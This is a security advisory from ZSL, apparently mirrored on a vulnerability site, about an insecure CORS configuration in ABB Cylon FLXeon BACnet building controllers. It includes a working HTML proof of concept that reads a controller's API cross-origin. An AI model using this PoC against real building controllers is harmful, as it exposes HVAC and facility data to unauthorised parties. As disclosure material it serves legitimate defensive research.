ABB Cylon FLXeon 9.3.4 app.js Insecure CORS Configuration Vulnerability

🗓️ 15 Feb 2025 00:00:00Reported by LiquidWormType
zdt🔗 0day.today👁 207 Views
Insecure CORS configuration in ABB Cylon FLXeon 9.3.4 may expose API to leaks and attacks.
<!DOCTYPE html>
<html lang="mk">
<!--

ABB Cylon FLXeon 9.3.4 (app.js) Insecure CORS Configuration


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller suffers from insecure CORS configuration.
Allowing all origins (app.options('*', cors()); can expose the API to data leaks,
resource abuse, and potential XSS attacks.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5921
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5921.php


21.04.2024




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-->

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ABB Cylon FLXeon BACnet CORS PoC</title>
</head>
<body>
    <button id="fData">Gief</button>
    <pre id="response"></pre>
    <script>
        document.getElementById('fData').addEventListener('click', () => {
            fetch('https://7.3.3.1/api/variant', {
                method: 'GET',
                headers: {
                    'Content-Type': 'application/json'
                }
            })
            .then(response => response.json())
            .then(data => {
                document.getElementById('response').textContent = JSON.stringify(data, null, 2);
            })
            .catch(error => {
                console.error('Error:', error);
            });
        });
    </script>
</body>
</html>
15 Feb 2025 00:00Current
7.4High risk
Vulners AI Score7.4